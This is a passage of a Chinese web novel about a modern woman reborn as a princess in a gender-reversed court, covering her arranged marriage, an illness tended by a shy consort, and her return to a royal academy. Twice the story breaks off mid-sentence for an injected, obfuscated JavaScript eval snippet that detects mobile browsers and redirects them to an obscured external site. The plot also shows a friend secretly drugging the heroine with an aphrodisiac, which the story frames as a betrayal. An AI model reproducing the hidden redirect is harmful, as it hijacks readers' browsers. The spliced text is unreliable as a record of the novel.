鹤觞低声禀报,语气里带着一丝无奈:“属下赶到时,小王爷受了些轻伤,胳膊上被划了一道口子,已寻了可靠的大夫诊治过,并无大碍。” “只是受了些惊吓,一直嚷嚷着这虞国的女子太过凶悍……” 周绥眼中掠过一丝厌烦,抬手打断:“罢了,我对他那些风流韵事没兴趣,亦不想听。日后他若再因这等荒唐缘由发出求救信号,大可不必理会。” “是,属下明白。” 鹤觞垂首领命,随即神色转为凝重:“殿下,这段时日您切不可再动用内力,需静心调养。否则毒素反噬,侵入心脉,后果将不堪设想。” 周绥神色淡然,摩挲着手腕上那道若隐若现的黑线。 黑线在他白皙的肌肤上蜿蜒游走,显得格外醒目,宛如宣纸上未干的墨迹被晕开,缓缓蚕食着素白。 他这条命,早已在鬼门关前来回走了无数趟,多活一日都是赚的。但他也知道,至少眼下,还不是时候死去。 他还有太多事未做。 “属下失职。”鹤觞脸上露出愧色,“昨夜若非前去接应小王爷,未能时刻守在殿下身侧,或许也不会……” “与你无关。” 周绥语气平淡,听不出情绪:“此行来宁都本就是秘密行事,不宜张扬,因此我只带了你一人。人多,反而容易暴露行迹。” 鹤觞心下稍安,又想起一事,语气转而缓和了些许:“不过,这宁都的水源似乎确有奇异之处,竟真能压制您体内蛊毒的发作,减轻痛楚。这实乃意外之喜,简直是上天眷顾殿下!” “上天眷顾?我从不指望什么老天眷顾。” 周绥唇角勾起一抹带着嘲讽的弧度:“求神拜佛,依仗他人,皆不如自我求全。这道理,我儿时便明白了。” “殿下,还有一事。” 鹤觞迟疑片刻,继续回禀道:“属下打探得知,关于那位即将与您成婚的昭妧帝姬……风评似乎颇为不佳。” 周绥淡淡“嗯”了一声,示意他继续说下去。 “传闻她性情暴戾乖张,行事荒唐,在宁都的名声……甚是颇劣。” 鹤觞斟酌着用词:“而且,据说她早已心有所属,痴恋那武安侯府宋小侯爷多年,曾为此做出过不少出格之事,先前坠马亦与此有关。” “联姻之事虽乃国主钦定,非她个人意愿所能左右,但属下担心,她会将对此婚事的所有不满与怨恨,尽数发泄到殿下您身上。若真如此,日后恐怕……” 恐怕会诸多刁难,甚至暗中不利。毕竟,在这虞国的地界,一个不受宠的异国质子皇子,处境将极为艰难。 周绥静默地听着,窗外流动的光影在他深邃的眼眸中明明灭灭。 “心生怨恨?甚好。”他声音低沉,带着一种玩味的期待,“我倒是很想知道,这位声名远扬的昭妧帝姬,究竟有何等能耐。” 他转过身,目光落在鹤觞身上,眼神平静无波,却让鹤觞无端感到一丝寒意。 “若她是个色令智昏,空有一身蛮劲却无脑子的草包,被安排了不如意的婚事便只会哭闹撒泼,或仗着身份肆意欺辱……” 周绥顿了顿,语气里透出明显的失望与轻蔑:“那这日后漫长的时光,未免也太过无趣了些。” 这场被迫接受的联姻,若只剩下一方对另一方的绝对碾压和掌控,那还有什么意思? 他需要的是一个至少能让他稍稍提起兴致的对手,而不是一个只会让人感到厌烦和鄙夷的蠢货。 否则,这场游戏,可就不好玩了。 …… 隐匿于巷尾的食肆虽不起眼,但门前已排起了队伍,木质的匾额上写有味源小筑四个大字。 扶盈与宋连芜对坐,点了两碗招牌鸡丝汤面和几碟精致小菜。宋连芜吃得酣畅淋漓,扶盈虽也腹中饥饿,却吃得有些心不在焉。 宋连芜吸溜完一口面,又忍不住凑近,低声道:“哎,说真的,昨晚感觉到底怎么样?那小男倌可是苏爹爹精挑细选的,模样身段都是一等一!而且,我还特地……” 她话未说完,扶盈握着筷子的手一顿,倏然抬头盯住她。 “你特地什么?” “特地……把我前阵子偶然得来的那点醉花阴给用上了啊!嘿嘿,据说效果非凡,千金难求,我好不容易才弄到的,这不是想着……” 她越说声音越小,因为扶盈的脸色已经沉了下去,眸中隐有怒火跳动。 “醉花阴?你从哪里弄来的这种东西?!”扶盈放下筷子,声音彻底冷了下来,“宋连芜,你再说一遍,你做了什么?” 宋连芜见状不对,将嘴里食物囫囵咽下,赶忙解释:“不是……阿盈,你别急啊!我、我上次剿匪时从一伙贼人那儿缴来的,说是西宛流传过来的稀罕物,我就想着刚好试试效果,为你我助助兴……” “你看你先前为了蘅弟要死要活的,我看着都难受!这三条腿的蛤蟆不好找,三条腿的男人遍地是!你多体验些不同的乐趣,何必执着于一根不开窍的木头?” 她语气急急一转:“再说了,你马上就要成婚,日后身边有个男人管着,哪还能像现在这般自在?这不是,得婚前再多痛快几回嘛!” “砰!” 扶盈猛地一拍桌子,震得碗碟哐当作响,茶盏更是被打翻,在桌面上蔓延开一片水渍。 她气得发笑:“所以,你就能瞒着我,擅作主张,给我用那种来路不明的东西?!” 宋连芜被这突如其来的爆发吓了一跳,眼神中闪过一丝慌乱。 “阿盈,你……你难道是怕去倚阑阁的事情,被蘅弟知晓?你放心!绝对不可能!我这个人嘴很严的,我保证,绝对不会说出去半个字!我这可都是为你好啊!” 她说着,急切地举起三根手指,作势对天起誓,试图以此安抚扶盈的怒气。 扶盈看着她那副煞有介事发誓的模样,只觉得一股郁气堵在心口。跟这个脑回路清奇的家伙,完全说不通! 打着为你好的旗号自作主张,有时比明刀明枪更让人无力。 懒得再多唇舌,她站起身,瞥了宋连芜一眼,留下“好自为之”四个字,便头也不回地离开了。 “哎,阿盈,别走啊!” 宋连芜起身想去拉她衣袖,却扑了个空,只能对着她的背影大喊,引来周围食客纷纷注目。 “我错了还不行吗!我真是为你好!我对你绝无二心!你若是不喜欢,以后我再也不乱试这些东西了!阿盈!” 扶盈脚步未停,径直下了楼。 宋连芜终于后知后觉意识到,自己这玩笑似乎开得有点过火。她一屁股坐回凳子上,烦躁地抓了抓头发。 说到底,扶盈还不是对宋连蘅那兔崽子情根深种,所以才如此生气,可她又何尝不是左右为难。 一边是至交好友,一边是骨肉至亲,这道题,可真比排兵布阵难解多了! …… 武安侯府内,春光旖旎,一树桃花开得正盛,花瓣随风轻舞,洒落一地芬芳。 一名身着红衣的少年,正手持一柄桃木长剑,身姿挺拔,目光炯炯。随着一声清啸,他的身形陡然一动。 剑招或疾或徐,或刚或柔,凌厉而不失飘逸,每招每式尽显风华。衣袂翻飞间,竟也舞出了几分飒爽英姿。 直到最后一式完成,他长舒一口气,手腕轻旋,正欲收势。 “宋!连!蘅!” 一声爆喝自身后炸响,吓得少年手一抖,桃木剑险些脱手飞去。他刚要脚底抹油开溜,整个人便被揪住衣领,一把提了起来。 “跟你说过多少次了!不准碰这些!整日里舞刀弄枪的,哪里还有个男儿样?!”宋连芜黑着一张脸,眼神像要喷火。 “姐、阿姐……我、我只是……”宋连蘅支支吾吾,有些发怵。 “只是什么?”宋连芜见状,更是气不打一处来,“闲得无聊,所以拿剑来玩玩?说了男儿家习武乃大忌,你偏明知故犯!若被母亲知道,你看她不扒了你的皮!” 宋连蘅缩了缩脖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489353|185780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,暗自叫苦,那份不甘与委屈又翻涌上来。 他不明白,凭什么男子就该被困于后宅之中,学那些刺绣插花,整日为了争一个女人的宠爱而绞尽脑汁? 这不公平! 他是真的喜欢习武,渴望有朝一日,能够像母亲和阿姐那般,骑骏马,执利刃,上阵杀敌,保家卫国!那才是真男儿该做的事! 但这些愤懑他也只敢在心里呐喊。 他不是没有尝试辩驳过,但他知道阿姐会说什么,无非是那些“世道如此”、“母亲身为候姥更须以身作则”、“宋家声誉”之类的大道理。 “好姐姐,我知道错了嘛,你可千万不要告诉母亲!”宋连蘅压下心绪,拉着宋连芜的胳膊轻轻摇晃,摆出一副可怜兮兮的表情。 “我上次受伤养了那么久,这才好利索些,你忍心看我再被母亲罚吗?屁股都要打开花了……阿姐……” “行了,少来这套!这次就算了,下不为例!” 宋连芜瞪他一眼,伸出手指戳了下他脑门:“我问你,男工刺绣做好了没?一会儿拿来我要检查。要是再像上次那样胡乱应付,看我怎么收拾你!” 宋连蘅一听这个,顿时一个头两个大:“好阿姐,再、再给我一点时间嘛,就一点!我保证,保证很快就做好了!求求你了~” 瞧见宋连芜态度松动,他连忙转移话题,连珠炮似的问道:“对了对了,阿姐!你可见过小五了?你按我教你的说了吗?有没有告诉她,我人不在府上?她……她暂时不会来找我了吧?” 面对一连串的追问,宋连芜只觉得脑仁疼。 “见了见了,我的小祖宗!容你姐先喝口水行不行?为了你这点破事,我跑前跑后,嗓子都快冒烟了。” 宋连蘅立刻殷勤地跟上去,又是倒茶,又是捶背捏肩,一副狗腿至极的模样。宋连芜灌了几口茶,润了润嗓子,这才把扶盈的话大致复述了一遍。 “啊?!”宋连蘅听完,一脸狐疑,“你确定这是小五亲口说的?阿姐你没听错吧?或者……她是不是被马摔傻了?” 那小五平日里就像块甩不掉的狗皮膏药,变着法地缠着他,恨不得把整颗心都掏出来给他看,怎么会突然说出如此通情达理又冷酷无情的话呢? 这次,他被她当街抽了鞭子,害得他不仅皮肉受苦,更成了全宁都百姓茶余饭后的笑料。 回府后,母亲觉得他丢尽了侯府脸面,又是一顿家法伺候,光是想想就觉得屁股隐隐作痛,心里更憋屈得厉害! 宋连芜见状,顺口劝慰了几句:“哎呀,你别想太多了,依我之见,这次未必是假。她看起来挺认真的。” “而且啊,你猜怎么着?这次我邀她去倚阑阁,她竟然都没拒绝,玩得还挺……” 话说一半,宋连芜猛然意识到自己说漏了嘴,连忙用手捂住嘴巴,暗叫一声“糟糕”! “什么?!” 宋连蘅眼睛瞪得溜圆,声音陡然拔高:“你带小五去倚阑阁了?!” “阿姐!你自己没个正形,流连那些地方也就罢了!那种……那种烟花之地,是她一个未成婚的皇女该去的吗?!你这不是把人往歪路上带吗!” “宋连蘅!” 宋连芜霍地站起来:“我们去哪里是我们的自由!轮得到你来说三道四?你不是口口声声说不喜欢人家,嫌人家缠着你吗?现在又摆出这副架势管这么宽作甚?” “怎么,只准你躲着阿盈,不准她找点别的乐子?” 她越说越气,指着弟弟的鼻子训斥:“我看你就是被我和祖父给惯坏了!放眼整个宁都,有哪户人家的男郎像你这般?” “瞧你这幅模样,刁蛮任性,不通男德,日后谁会愿意娶你?怎么寻得好人家?” “如此再好不过!”宋连蘅被骂得也上了火,梗着脖子回顶,“我早就告诉过你们!我并非单单不愿嫁小五!” “我此生此世,绝、不、嫁、人!谁爱嫁谁嫁去!”他一字一句,说得斩钉截铁。 “反了你了!”宋连芜猛然一拍桌子,作势就要抬脚踹他,“惯的你!女大当婚男大当嫁,乃是天经地义!由得你说不嫁就不嫁?” “阿姐,你别光说我啊,你自己不也还没娶夫呢吗?还好意思教训我!”宋连蘅吓得连忙跳开,嘴上却不饶人。 “我是女人!我能一样吗?!”宋连芜被噎得一愣,更是火冒三丈,边吼边追了上去。 “兔崽子你别跑!我看你就是皮痒了!今天非好好给你挠挠痒不可!” 8. 侍疾 扶盈刚踏入府邸大门,便有下人匆匆迎上来,禀报道:“殿下,栖梧姑姑奉旨造访,已在前厅等候多时。” 栖梧乃国主身边得力御侍,地位尊崇。扶盈不敢怠慢,立即吩咐下人更衣,又在镜前仔细整理发冠,确保仪容仪表端庄得体。 准备就绪,她带着星罗和辰砂,一同向前厅行去。 星罗伶俐活泛,行事机敏果决,擅长打理庶务。而辰砂,则是原主府中功夫最深且忠心无二的护卫。 奈何原主自恃武艺高强,常常嫌辰砂亦步亦趋的保护太过烦人,认为是对自己能力的质疑,动辄便寻个由头将她关进柴房。 回忆原主过往的行为,扶盈内心感喟不置,若发生坠马那日有辰砂护卫在侧,兴许这场意外可以避免。 辰砂虽说不善言辞,性子沉闷了些,但忠诚和能力毋庸置疑。倚阑阁遇刺为扶盈敲响了警钟,她的身边,太需要像这样可靠的好手了。 前厅之中,茶香袅袅。 栖梧姑姑肃然危坐,身旁侍立几位小宫娥,手中捧着覆盖黄色绸布的托盘,隐约可见圣旨的轮廓。 “姑姑安好,未能及时相迎,还望您勿要见怪。”扶盈步入厅堂,嘴角扬起恰到好处的浅笑,“许久不见,您风采依旧啊。” 栖梧连忙起身,规规矩矩地回了一礼,脸上也露出了程式化却又不失温和的笑容。 “殿下言重,折煞婢子了。婢子不过是个奉命跑腿的,哪当得起殿下如此夸赞。” “姑姑过谦了,能得您亲自前来,乃是本殿之幸。”扶盈轻轻抬手,示意栖梧入座。 栖梧并未急于入座,而是面色一正:“殿下,婢子此番前来是奉圣上之命宣旨,公务在身,还请殿下即刻接旨。” 扶盈笑容收敛,神情变得端凝。 此情此景,于从前的她而言,是只存在于故事和影视剧中的遥远情节。未曾想有朝一日,自己竟成了这戏中人,亲身跪接这决定命运的旨意。 心中虽有波澜,但她面上不露分毫,依着记忆中的规矩,缓缓跪倒在地。厅内其余人等也早已屏息垂首,跪伏一片。 “奉天承运皇帝,诏曰——”栖梧缓缓展开黄绢,声音清亮而庄重,回荡在大厅之中。 “昭妧帝姬扶盈,才德兼备,英勇无双,与安国九皇子周绥实乃天作之合。今,朕特赐婚于二人,令周绥入赘我朝,择良辰吉日完成大婚之礼,以结两国之好。钦此!” 扶盈双手高举,接过那卷黄绢:“儿臣领旨,叩谢母皇恩典。” 她暗暗庆幸,多亏穿的是个皇女,除国主之外,无需再向其她人行跪拜大礼,这让她的膝盖着实轻松了不少。 “殿下请起,婢子此行任务已毕,这就回宫复命了。”栖梧微微颔首,说着吉祥话,“愿殿下往后与九皇子琴瑟和鸣,百年好合。” 扶盈吩咐星罗好生送姑姑,她目送那一行宫人离去,手中握着微凉的圣旨,一时间感慨万千。 命运似乎总爱开玩笑,在现代时立志做不婚主义的她,穿越后却要稀里糊涂和一个完全陌生的人成婚,还是典型的政治联姻,当真世事无常。 也不知这安国九皇子,到底会是个怎样的人物呢? 思绪飘忽间,她没来由的竟想起了在倚阑阁后院暖池中遇到的神秘男子。 那人性格并不讨喜,态度恶劣,说话难听,但那张脸实在生得绝美,令人惊艳。倒也不完全怪自己当时被药性所惑,犯了回花痴。 旋即她又暗自摇头失笑,将那荒唐一夜的片段甩开。 九皇子大概在立夏之后抵达宁都,算算日子还有将近一个月的光景。 这段时间,她或可再去几趟倚阑阁,打听消息也好,散心也罢,兴许还能再次遇到那个家伙呢? 翌日,扶盈进宫向国主请安,顺道谢恩赐婚旨意。纵然对这门婚事有所不满,可表面功夫还是要做足。 回府途中,她便觉得身子阵阵发沉,头也晕乎乎的。请来太医诊脉,果不其然是染了风寒。 “要是能打个点滴,或者来包感冒灵,该多好啊。”扶盈裹着锦被,小声嘀咕,目光落在面前那碗苦涩发黑的汤药上,眉头紧蹙,满脸抗拒。 “殿下,您要打谁来着?该不是病糊涂了?”星罗听得一头雾水,“殿下,只有乖乖把这药喝了,发发汗,身子才能快点好起来呀。” 扶盈无奈地叹了口气,谁让在这里,除了依靠这些传统的草药汤剂,确实别无他法。 她索性屏住呼吸,仰头将那苦汁一饮而尽,随即从星罗递来的小碟里飞快捻起一颗糖莲子塞进口中。 然而,到了夜里,病势愈发沉重。 扶盈卧于榻上,面容憔悴,双颊泛着异样红晕,呼吸都有些灼热。她半梦半醒,辗转反侧,只觉口干舌燥,周身酸痛不已。 正当她蜷缩着倍感煎熬时,一阵凉爽轻柔的触感悄然拂过额头,伴着清雅香气,带来片刻难得的舒缓。 兰秋白静守床边,满面忧色。他浸湿锦帕,小心拧干,继续为扶盈擦拭脖颈与手心。 随着帕子反复掠过肌肤,扶盈紧蹙的眉头渐渐舒展,呼吸似乎也顺畅了些许。 在迷迷糊糊的昏沉中,她无意识地抬手,虚软的指尖轻轻勾住了那只为她拭汗的手。 兰秋白动作微滞,感受到指尖传来的滚烫触感与温度,耳根悄然泛起点点红晕。他怕惊扰扶盈安寝,未抽回手,只是任由其抓着,另一手仍不辍地为她更换冷帕。 “殿下……”见扶盈辗转难安,兰秋白终是忍不住,俯身轻唤道。 这几乎是他生平第一次,如此毫无阻隔,如此近距离地凝视殿下的容颜。尽管病中略显憔悴苍白,却依然那掩那份天生的轩昂与俊采。 从前觉得她像一把镶满宝石的利刃,只敢看刃的寒光,不敢看宝石的华美。原来,静下来看,她真的很好看。 此刻的殿下,褪去了平日里的疏离与威仪,让他心中涌起一股难以名状的情感,混合着怜惜与悸动。 扶盈睫毛轻颤了几下,随后缓缓睁开双眸。待目光逐渐聚焦,看清眼前人时,她面露讶色,声音因发热而有些沙哑。 “小白?怎么是你……?” “殿下恕罪!”兰秋白慌忙抽回手,起身连退两步,跪倒在床边脚踏上。 他垂首急道:“是侍身惊扰了殿下。殿下染恙,侍身……侍身实在忧心,本应贴身侍奉,又恐举止有失,惹殿下不悦,故而……” 他的声音渐弱,最后近乎喃喃,肩膀也微微蜷起。扶盈先是一怔,旋即明了,这必是原主往日积威所致。 她挤出一抹虚弱笑意,轻声道:“我知你关心我,心意收到了,不会怪罪。往后在我面前,不必如此拘谨害怕。” “是,谢殿下。”兰秋白稍感安心,轻手轻脚上前,为扶盈掖好被角。 扶盈瞧他憨态认真,病中烦闷消散几分,忽生逗趣之心。她侧首轻笑:“小白,杵着作甚?过来坐坐,与我亲近亲近。” 兰秋白一听,白皙面容瞬间浮起慌乱:“殿下,这……于理不合,侍身不敢。殿下金贵之躯,侍身岂敢逾矩,扰了殿下清静……” 见他眼神躲闪,紧张得语无伦次,似将自己视作洪水猛兽,扶盈暗自好笑,面上却故意沉下脸。 “怕什么?我又不吃人。莫非你觉我凶悍,才不敢靠近?” “不、不!殿下误会了!”兰秋白急声解释,额角细汗涔涔,“侍身绝无此心!殿下……殿下自然极好,只是,这般实在不合规矩……”他越说越乱,脸颊涨得通红。 扶盈的恶趣味得以满足,随即温声安抚:“好了小白,莫要如此紧张。我不过是想与你闲话家常几句罢了。” 兰秋白迟疑抬眸,眼神里满是惊讶与难以置信。待看清扶盈神情并无戏谑之意,紧绷的神经方略微松弛。 犹豫片刻,他缓缓挪动脚步,小心翼翼地挨着床边坐下,身子挺得笔直,显得格外拘谨。 扶盈青丝微乱,慵懒斜倚于软榻锦垫之上。 她眸光流转,端详着近在眼前的兰秋白,只觉他气质清雅温润,恰似一株亭亭立于淤泥的青莲,令人不由心生怜意。 兰秋白被她这般毫不掩饰、带着欣赏与玩味的打量弄得羞赧不已。他下意识要低头躲闪,却被那目光中罕见的柔和钉在原地,动弹不得。 不再是以往熟悉的冰冷或暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489354|185780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戾,而是带着一种他无法理解的温度,落在他身上,却烫得他心慌。 他感觉自己仿佛一件尘封的古董,突然被主人拂去尘埃,置于灯下细细品鉴。 “殿下,侍身……侍……”他刚欲开口,话音却被扶盈轻伸的一指截断在唇边。 “嘘……”扶盈轻凑近前,鼻翼微动,“你身上熏的什么香?似兰芷清雅,又杂甘松甜香,倒是别有一番韵味。” 兰秋白脸上红晕更甚,似要灼烧起来:“回殿下,或、或是贴身香包之故,并非侍身有意……” 扶盈并未太在意这个答案,脑海中忽地闪过一个更令她好奇的问题。 “小白,我往日待你和松松颇为冷淡,甚至动辄打骂,从未给过好脸色。你难道不讨厌我?” 她歪头看他,直言问道:“为何现在还愿意来照顾我?” “殿下怎会如此想!”兰秋白猛地抬头,脱口而出,甚至忘了尊卑规矩。 “侍身发誓,从未对殿下有过半分怨恨!能侍奉殿下左右,已是侍身之幸。小白心中……心中唯有对殿下的敬慕,无论殿下如何待我,我……我都心甘情愿,绝无怨言。” 话毕,他才意识到自己这番言辞过于直白,顿时满脸羞赧,恨不得找个地缝钻进去。 扶盈先是一怔,随即忍不住轻笑,笑声虽略显低哑,但清脆悦耳。落入兰秋白耳中,却如惊雷乍响,让他瞬间乱了分寸。 “殿下恕罪!侍身失言!” 他起身欲请罪,怎料心慌意乱间脚底打滑,整个人踉跄着朝榻上的扶盈直扑而去。 “啊!” 兰秋白惊骇万分,本能地抬手去撑,慌乱之中,手掌竟不偏不倚按在了一处柔软且弹韧之处。 甚至鬼使神差地轻捏了一下。 他顿时如遭雷击,整个人僵在那里,大脑一片空白。掌心隔着衣料传来的温热触感,似火般炙烤着他的神经。 兰秋白心中暗叫:完了!这次真的死定了! 岂料,被他压在身下的扶盈仅闷哼一声,便低低笑了起来。 “啧……小白,你这是怎么了?方才还说着心甘情愿,转眼就投怀送抱,莫非……是被本殿下给迷住了?” 兰秋白脸红得几乎要滴出血来,手忙脚乱地从扶盈身上爬起,扑通一声又跪回脚踏上。 “回、回殿下,侍身愚笨,一时失态,竟、竟冲撞了您,实在罪该万死,请殿下重重责罚……” 扶盈见他如受惊小鹌鹑般,倒也不忍苛责,只觉又好笑又无奈。她摆摆手:“罢了,起来吧。我知你无心冒犯,别动不动就把死啊死的挂嘴边,多不吉利呀。” 兰秋白闻言,紧绷的肩膀终于松懈,忙道:“谢殿下宽宏……”他起身,手足无措地整理了一下衣襟和袖摆。 “殿下,您病中体虚,又一夜未食,定是饿了。侍身这便去小厨房,为您熬一蛊润肺滋补的雪蛤莲子羹来。” 他此刻只想寻个地方躲起来,生怕再待下去又会惹出事端。见扶盈点头应允,他如得特赦,快步退了出去。 直到站在廊下,清新的空气扑面而来,兰秋白才觉能顺畅呼吸,但心脏仍在胸腔疯狂跳动着。 殿下本就生得极俊俏,神如秋水韵如竹,眸若朗星气若瑚。这认知他早已有之,却从不敢细品。 方才屋内发生的一切,所有细节都在他脑海中反复萦回放大,织成一张无形又致命的网,将他牢牢困住。 他完了。 这个念头比任何一次鞭挞都让他恐惧。 他甚至能清晰地忆起她微散墨发下那段修长的脖颈,寝衣领口处线条优美的精致锁骨,尤其是,掌心猝然触及那隔着丝帛也掩不住的柔软弹韧…… 一股热流猝然自下腹深处窜起,兰秋白呼吸一窒,巨大的羞耻感瞬间淹没了他。 他猛地夹紧双腿,下意识弓起身子,试图将那不合时宜又大逆不道的反应隐藏起来。 “无耻……下贱……”他在心中狠狠咒骂自己。殿下只是病中未曾计较,你怎敢……怎敢生出如此龌龊的念头? 他慌忙垂下眼,不敢再看那寝殿方向,加快脚步,几乎是小跑着躲进了小厨房。 9. 学堂 五更的梆子敲过,天色在青灰中透出微熹。 兰秋白熟练地燃起文火,将泡发好的雪蛤仔细剔除杂质,搭配湘莲红枣一同放入炖盅。他凝神专注于手里的动作,试图压下心底某些颤动。 小厨房里,清甜的香气弥漫开来,汤羹在咕嘟声中渐渐温润。 兰秋白静守灶前,时辰一到,便利落地撇净浮沫,把炖盅置于案上,端起来走向寝殿。 他在门前略定心神,稳了稳呼吸,听得内里传来一声“进”,这才垂眸敛目,推门而入。 室内,扶盈并未安睡,而是执着一卷书,看得出神。那是星罗寻来的民间话本,纸张粗劣,却印着些趣致故事。 原本她还担心看不懂这个时代的文字,不料阅读起来毫无障碍,正好拿来消磨时间。 见兰秋白进来,扶盈懒懒地抬起眼,随口道:“小白,你来喂我。” 兰秋白闻言一怔。 殿下自病后……言行举止,似乎与往日大不相同了? 他心中惴惴,只觉眼前之人熟悉又陌生,像隔了一层朦胧的纱,看不真切。 虽思绪纷乱,他仍依言上前,将食案放在床头小几上,端起炖盅,执勺轻轻搅动。 待热气稍散,他侧身坐上床沿,小心舀了一勺,倾身递至扶盈唇边。 扶盈目光流连于字里行间,就着他的手微微张口,任由温润甜羹滑入喉间。 直至用了小半盅,胃腹暖融,她才意犹未尽地搁下话本,细细品味起口中残留的清甜甘润。 “不错……” 扶盈点点头,眼中漾开真切笑意:“火候恰到好处,清甜不腻,润而不滞。小白,你的手艺又精湛了。” 从前的原主独好甜食,虽不待见兰秋白,却对他这手熬制甜羹的功夫,从未刁难过。 兰秋白却似未曾听见这难得的夸誉,只是默然一勺接一勺地喂着,仿佛一个机械执行动作的木偶。 他的目光不时掠过扶盈舒展的眉眼和微翘的唇角,神情怔忡,似乎陷于某种深沉的思虑,显得有些空茫和呆滞。 扶盈见状,不由又唤了一声。 兰秋白骤然回神,手中羹汤因一时恍惚而滑落,连勺带盅摔得四分五裂,晕开一片狼藉的污渍。 “殿下,我……” 他脸色霎时惨白,几乎是本能地就要屈膝下跪。扶盈眼疾手快,未等他膝盖弯下,已伸手托住他的胳膊。 “无妨,你照顾我一整晚,想必也累了,先回房好好歇息吧。” “是,殿下。” 兰秋白低声应道,默默蹲下身,将地面一点一点收拾干净,方才垂首退去。 一连数日,扶盈安居府内,大门不出二门不迈,倒是享受了一段穿越以来难得的惬意时光。 晨起时,看辰砂在院中练拳,身姿矫健,拳风凌厉,让她十分有安全感。 午后,则有星罗蹦跳而来,叽叽喳喳说些市井奇闻和乡野怪谈,为她解闷。 兰秋白更是悉心备至,变着花样为她炖制各种药膳甜羹。就连柳松松见了她,也不再如惊弓之鸟那般,刻意地谄媚逢迎。 在众人或真心或小心的照料下,扶盈自觉脸颊日渐圆润,确是养回了不少好气色。 这日春风和煦,她闲庭信步于自家园中,看着满园桃红柳绿,心情如这春光般明媚舒畅。 “殿下……”星罗的声音自身后响起,打断了她的陶然。 “您如今身子康健,是否该考虑回紫山堂进学?这课业已耽搁许久了。” 扶盈闻言,唇角微微一松。 她驻足,侧首投去一瞥,脸上适时凝出恰到好处的愕然与不情愿,将原主那厌学的神态仿了个七八成。 “上学?”语气里是十足十的疏懒与抵触。 “回殿下,正是。紫山堂乃皇家学府,您身为帝姬,若长期缺席,于礼不合,亦难免惹人议论。” 扶盈明白,星罗所言颇为在理。实际上,关于前往紫山堂进学一事,她此前已反复思量过无数次。 只是,原主性情骄纵且不喜诗书,若她这个继任者表现得过于积极进取,反倒惹人生疑。 如今,借着星罗的劝谏顺水推舟,恰是她早有预料的一步,亦是最妥当的安排。 想她在现代时,寒窗苦读十余载,好不容易熬到毕业,捧上了所谓的铁饭碗,却因痴迷漫画,狠心辞了稳定差事,一头扎进这行当。 这些年摸爬滚打,画技磨得愈发老练,作品也攒了些人气。 一朝穿越,竟又跌回两耳不闻窗外事的旧光景,连画笔都要换成毛锥子了。 扶盈轻蹙眉头,抬手揉了揉太阳穴,试图做最后的象征性挣扎。 “可本殿总觉得……身体还未好利索,偶尔仍会头晕疲乏,精力恐有不济……” “殿下,您莫非忘了?” 星罗趋前两步,语重心长地进言:“今岁正逢三年一度的皇女大考,您已是第二次参与了,万万不可再有闪失啊!” “唯有勤勉刻苦,方能弥补以往不足,一举通关。若再耽搁上三年,朝中风云变幻,届时即便考过,只怕也……” 无须再多言,扶盈知道戏已做足,火候到了。 她随手折下一朵半开海棠,在指尖漫不经心地转着,半晌才状似无奈地轻叹一声。 “罢了,依你便是。去准备吧,明日启程紫山堂。” “是,殿下。”星罗唇角掠过一丝不易察觉的欣慰,“婢子这就去。” 待星罗走远,消失在视线里,扶盈脸上那点不情愿才缓缓敛去。 皇女大考近在眼前,她深知这是自己摆脱困境,真正在此立足的关键契机。 既然注定要执子,那她就要成为掌控全局的棋手。 “读书?”扶盈低笑一声,“本殿要研读的,又何止是圣贤书?” 她垂眸凝视着手中的海棠,指尖微微发力,花瓣便无声地碎落在掌心。 …… 晨光初破晓,映照着朱红府邸的琉璃瓦熠熠生辉。 府门外,辰砂早已静候多时,身姿笔挺地侍立一旁,手中长剑连鞘皆擦拭得锃亮。 当扶盈的身影出现在门廊深处,她立刻察觉,随即掀开车帘:“殿下,一切就绪,可以动身了。” 车内锦茵叠绣,软褥生香。扶盈斜倚厢壁,半阖的杏眸投下淡淡阴翳。 辰砂手腕轻抖,马鞭在空中甩出一道脆响。马车辘辘驶过长街,朝着紫山堂方向行去。 世人皆道天家贵女养尊处优,却不知自垂髫之年,她们便需经受严苛教化。每日寅时即起,习武强身,修文明理,待年满十二,更需入紫山堂深造。 堂中济济者,除皇室宗亲外,不乏公侯世家之女,亦有五品以上官员经举荐方得送入的千金。 最是难得的,当属那些寒门出身的奇女子。她们虽无家世依仗,却能凭惊世才华,破格踏入这朱门学府。 柳絮顺着金丝软帘的缝隙钻入车内,扶盈懒洋洋打了个哈欠,抬手掀帘望向窗外。 不远处,「紫山堂」三个漆金大字浮着泠泠冷光。 门前两尊青铜獬豸威严矗立,利爪下镇压的贪狼石像,早被历代学子摸得光滑发亮。 辰砂手腕一沉,马车平稳停驻。扶盈略整衣襟,缓步下车。 乌木匾额之下,几名布衣学子正低声交谈。忽有人瞥见华盖马车,气氛陡然凝滞。 “是……是昭妧帝姬来了!” 声如裂帛,惊碎一池静水。众人面色骤变,惶惶如见豺虎。 不过瞬息,方才还聚作几处的身影已四散奔逃,徒留几册竹筒跌落在地,于尘土中微微颤动。 扶盈愣了一下,面上掠过一丝无奈。 辰砂见状,忙低声道:“寒门学子向来胆怯,殿下勿要介怀。” 扶盈点点头,举步向内行去。熟悉的亭台草木掠过眼帘,每一处都浸着旧日记忆。 这是坠马事件后,亦是她穿越以来,首次在学堂公开露面,预感今日怕是不会如往常那般平静。 果不其然,刚一进门,数名身着朱砂深衣的贵女便迎了上来。 